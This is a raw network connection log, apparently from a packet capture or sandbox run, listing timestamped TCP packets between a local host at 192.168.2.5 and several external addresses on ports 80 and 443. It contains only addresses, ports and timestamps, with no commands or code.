Apr 26, 2024 11:06:08.999317884 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.066272020 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:09.066406012 CEST	443	49714	13.249.105.199	192.168.2.5
Apr 26, 2024 11:06:09.066530943 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:09.067126036 CEST	49714	443	192.168.2.5	13.249.105.199
Apr 26, 2024 11:06:09.239367962 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.257443905 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257514000 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257548094 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257592916 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.257611036 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257673025 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.257675886 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257738113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257765055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257827044 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257863045 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.257894039 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.257896900 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.257967949 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258024931 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258089066 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.258192062 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258248091 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.258289099 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258393049 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258445024 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.258465052 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258529902 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258569956 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.258599997 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258668900 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258716106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258724928 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.258728981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258794069 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.258794069 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258894920 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258959055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.258975029 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259004116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259051085 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259088993 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259119034 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259156942 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259157896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259212017 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259258986 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259259939 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259314060 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259390116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259407043 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259432077 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259458065 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259474039 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259536982 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259577036 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259582043 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259634018 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259666920 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259685040 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259732008 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259766102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259799957 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259849072 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259860992 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259892941 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.259977102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.259989023 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260020971 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260046959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260090113 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260093927 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260152102 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260173082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260194063 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260238886 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260278940 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260302067 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260415077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260462046 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260519028 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260572910 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260613918 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260621071 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260672092 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260704994 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260708094 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260766983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260816097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260854959 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260859013 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260898113 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.260910988 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260948896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.260991096 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261003971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261059999 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261099100 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261106968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261172056 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261212111 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261243105 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261311054 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261348009 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261396885 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261482954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261526108 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261529922 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261600018 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261648893 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261671066 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261722088 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261787891 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261826992 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261862040 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.261902094 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.261948109 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.262001038 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.262041092 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.262103081 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.262131929 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.262161016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.262166023 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.262178898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.262222052 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.376705885 CEST	80	49712	185.172.128.76	192.168.2.5
Apr 26, 2024 11:06:09.376808882 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.377427101 CEST	49712	80	192.168.2.5	185.172.128.76
Apr 26, 2024 11:06:09.516854048 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:09.516937017 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:09.517189980 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:09.517508030 CEST	49715	443	192.168.2.5	45.130.41.108
Apr 26, 2024 11:06:09.517544985 CEST	443	49715	45.130.41.108	192.168.2.5
Apr 26, 2024 11:06:09.521964073 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522013903 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522067070 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522068024 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522124052 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522164106 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522193909 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522202015 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522249937 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522253036 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522310019 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522355080 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522357941 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522393942 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522455931 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522471905 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522526026 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522547007 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522584915 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522600889 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522644997 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522747040 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522814035 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522836924 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522870064 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.522921085 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.522957087 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523009062 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523021936 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523068905 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523099899 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523180008 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523222923 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523246050 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523299932 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523344994 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523370981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523435116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523493052 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523526907 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523566961 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523566961 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523582935 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523624897 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523690939 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523734093 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523752928 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523804903 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.523844004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523873091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523929119 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523957968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.523978949 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524009943 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524029016 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524056911 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524116039 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524125099 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524143934 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524194956 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524219990 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524249077 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524312019 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524348974 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524363995 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524451017 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524451017 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524530888 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524581909 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524616957 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524648905 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524692059 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524730921 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524790049 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524828911 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.524853945 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524914980 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.524966002 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525002003 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525007010 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525042057 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525070906 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525155067 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525226116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525249958 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525331974 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525377989 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525408030 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525523901 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525576115 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525612116 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525687933 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525708914 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525734901 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525783062 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525834084 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.525851011 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525916100 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525952101 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.525979996 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526009083 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526050091 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526066065 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526109934 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526170015 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526207924 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526216030 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526262999 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526299953 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526314020 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526345015 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526365995 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526395082 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526505947 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526551962 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526576996 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526609898 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526618004 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526654005 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526711941 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526763916 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526763916 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526799917 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526803970 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526858091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526912928 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.526913881 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.526963949 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527004004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527055025 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527061939 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527102947 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527120113 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527168036 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527213097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527229071 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527266979 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527316093 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527319908 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527374029 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527427912 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527482033 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527514935 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527556896 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527559996 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527601004 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527664900 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527677059 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527707100 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527760983 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527805090 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527822971 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527853012 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527867079 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.527915001 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.527968884 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528008938 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528022051 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528049946 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528053045 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528110981 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528158903 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528192997 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528199911 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528242111 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528445959 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528528929 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528594017 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528613091 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528672934 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528717995 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528723955 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528784037 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528841019 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528902054 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.528933048 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.528979063 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529004097 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529073954 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529114962 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529117107 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529153109 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529231071 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529275894 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529294968 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529324055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529372931 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529400110 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529453993 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529489040 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529498100 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529527903 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529535055 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529587984 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529656887 CEST	49713	80	192.168.2.5	176.97.76.106
Apr 26, 2024 11:06:09.529663086 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529720068 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529768944 CEST	80	49713	176.97.76.106	192.168.2.5
Apr 26, 2024 11:06:09.529772043 CEST	49713	80	192.168.2.5	176.97.76.106
